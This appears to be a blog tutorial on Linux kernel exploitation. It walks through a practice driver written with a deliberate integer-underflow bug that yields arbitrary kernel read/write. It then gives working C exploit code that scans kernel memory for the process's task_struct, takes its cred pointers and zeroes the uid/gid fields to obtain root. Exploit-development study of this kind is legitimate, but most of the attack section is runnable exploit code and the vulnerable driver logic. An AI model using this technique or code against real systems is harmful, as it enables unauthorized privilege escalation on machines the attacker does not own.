Exploiting Arbitrary Read/Write Linux Kernel

Continuing with my research into Linux kernel exploit dev, I decided to try an exploit that doesn’t involve gaining code execution. The following is a short demonstration of escalating a processes privileges due to an arbitrary read/write vulnerability in the kernel.

As always the code can be found on my github page.

The Vulnerable Code

I started by adding an arbitrary read/write vulnerability to my driver. It’s a pretty obvious vulnerability, as we can see here:

The following struct is used to provide a buffer to read from and write to at offset pos.

typedef struct mem_buffer {
   size_t data_size;
   char *data;
   loff_t pos;
 }mem_buffer;

The module maintains a global pointer to this struct that is null until initialised.

static int arbitrary_rw_init(init_args *args)
 {
    if(args->size == 0 || g_mem_buffer != NULL)
       return -EINVAL;

    g_mem_buffer = kmalloc(sizeof(mem_buffer), GFP_KERNEL);

    if(g_mem_buffer == NULL)
       goto error_no_mem;

    g_mem_buffer->data = kmalloc(args->size, GFP_KERNEL);

    if(g_mem_buffer->data == NULL)
       goto error_no_mem_free;

   g_mem_buffer->data_size = args->size;
   g_mem_buffer->pos = 0;

   printk(KERN_INFO "[x] Allocated memory with size %lu [x]\n", g_mem_buffer->data_size);

   return 0;

   error_no_mem:
    return -ENOMEM;

   error_no_mem_free:
     kfree(g_mem_buffer);
     return -ENOMEM;
 }

Once initialised, we can seek into the buffer, and read and write. The vulnerability resides in the ability to reallocate the buffer with a user supplied size.

static int realloc_mem_buffer(realloc_args *args)
 {
    if(g_mem_buffer == NULL)
        return -EINVAL;
    size_t new_size;
    char *new_data;

    //We can overflow size here by making new_size = -1
    if(args->grow)
       new_size = g_mem_buffer->data_size + args->size;
    else
       new_size = g_mem_buffer->data_size - args->size;

   //new_size here will equal 0 krealloc(..., 0) = ZERO_SIZE_PTR
   new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL);

   //missing check for return value ZERO_SIZE_PTR
   if(new_data == NULL)
      return -ENOMEM;

   g_mem_buffer->data = new_data;
   g_mem_buffer->data_size = new_size;

   printk(KERN_INFO "[x] g_mem_buffer->data_size = %lu [x]\n", g_mem_buffer->data_size);

   return 0;
 }

This is very similar to the CSAW 2015 ctf challenge. We can grow or shrink the buffer, lets assume we initialised the buffer with a size of 1, and then shrink it by 2, then new_size will equal 0xffffffff. When krealloc is called, new_size+1 = 0, krealloc(buffer, 0) = ZERO_SIZE_PTR, which is defined as (void *)0x10. This means the if statement after krealloc is redundant. After we have shrunk the buffer, g_mem_buffer->data = 0x10, and g_mem_buffer->data_size = MAX_INT.

Now, if we look at what happens when we try and read from the buffer, we can see that we are able to read from any location in kernel space:

static int read_mem_buffer(char __user *buff, size_t count)
 {
   if(g_mem_buffer == NULL)
      return -EINVAL;
   loff_t pos;
   int ret;

   pos = g_mem_buffer->pos;

   if((count + pos) > g_mem_buffer->data_size)
      return -EINVAL;

   ret = copy_to_user(buff, g_mem_buffer->data + pos, count);

   return ret;
 }

The if statement above is unable to stop us from reading  arbitrary memory, lets say we have set pos to 0xffffff8800000000, and we want to read PAGE_SIZE bytes, count+pos will be smaller than data_size. The same logic applies to the write method.

The Exploit – A Data Only Attack

Exploiting this vulnerability is actually relatively simple. We don’t need to worry about SMEP, SMAP, KASLR or any other such mitigations. Similar to how many Windows kernel exploits involve stealing a SYSTEM processes token by traversing the doubly linked list of processes, here we can simply scan kernel space memory for our specific task struct, within this structure is a pointer to our processes privileges (in a cred struct), grab this pointer, and write null bytes into each uid field (giving us root).

Luckily for us, if we look at the task struct it contains a comm field, this buffer contains the name of the executable:

21

We can set this field by calling  prctl(PR_SET_NAME, some_string). So step one involves generating a random string and setting comm via prctl. Once we find this string, we can then get a pointer to cred and real_cred.

To scan memory and find our comm string we do the following:

/**
* Loop continuosly, leaking a page of kernel memory at a time.
* On each iteration we try and find our comm structure, if we find it
* then store the addresses in cred and real_cred.
*/
void find_task_struct(int fd, unsigned long *cred, unsigned long *real_cred, char *buffer, char *comm)
{
 unsigned long offset = 0;
 unsigned long k_addr = START_ADDR;
 unsigned long *start_buffer;
 int ret;

 while(1)
 {

   k_addr = START_ADDR + offset;

  //if we've wrapped around then we havent found our signature anywhere in kernel memory
  if(k_addr < START_ADDR)
    break;
 
  //read a page into our userspace buffer
  ret = read_mem(fd, k_addr, buffer);
 
  //couldnt read at that address
  if(ret != 0)
  {
    offset += BUFF_SIZE;
    continue;
  }

  start_buffer = (unsigned long *)buffer;
 
  //search this page for our comm field
  start_buffer = memmem(start_buffer, BUFF_SIZE, 
  comm, sizeof(comm));

  if(start_buffer != NULL)
  { 
     if ( (start_buffer[-2] > START_ADDR) && (start_buffer[-1] > START_ADDR ) )
     { 
         *real_cred = start_buffer[-2];
         *cred = start_buffer[-1];
         printf("[+] Found comm signature %s at %p [+]\n", start_buffer, (unsigned long *) (k_addr + ((char *)start_buffer - buffer)));
         printf("[+] real_cred: %p [+]\n", *real_cred);
         printf("[+] cred: %p [+]\n", *cred);

         break;
     }
 }
 
   offset += BUFF_SIZE;
 }

}

The read_mem call simply leverages the arbitrary read vulnerability:

int read_mem(int fd, unsigned long addr, char *buff)
{
   seek_args s_args;
   read_args r_args;
   int ret;

   s_args.new_pos = addr - 0x10;
   ret = ioctl(fd, ARBITRARY_RW_SEEK, &s_args);

   r_args.buff = buff;
   r_args.count = BUFF_SIZE;

   ret = ioctl(fd, ARBITRARY_RW_READ, &r_args);

   return ret;
}

At this point, if everything has worked as it should, we will have valid pointers to our current process’s creds. The cred structure is defined as such:

22

One thing to note here is that we only want to overwrite the uid and gid fields. So we have to skip over the usage field (which is sizeof(int) bytes), and then leverage our arbitrary write vulnerability to write null bytes into each field:

int overwrite_creds(int fd, unsigned long cred_addr, unsigned long real_cred_addr)
{
   seek_args s_args;
   write_args w_args;
   char *buff = 0;

   memset(&s_args, 0, sizeof(seek_args));
   s_args.new_pos = cred_addr - 0x10 + sizeof(int); //we need to skip past the usage field


  memset(&w_args, 0, sizeof(write_args));
  w_args.buff = buff;
  w_args.count = sizeof(int);

  for(int i = 0; i < 8; i++) 
  {
    ioctl(fd, ARBITRARY_RW_SEEK, &s_args); //point to that uid field in cred
    ioctl(fd, ARBITRARY_RW_WRITE, &w_args); //overwrite that uid field

   s_args.new_pos += sizeof(int); //point to the next uid field
}

  //somehow we were unsuccessful
 if(getuid() != 0)
   return -1;

 return 0;
}

Putting this together and we should get a root shell:

23

The full exploit can be found here.

The next post will be on exploiting an uninitialised stack variable.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s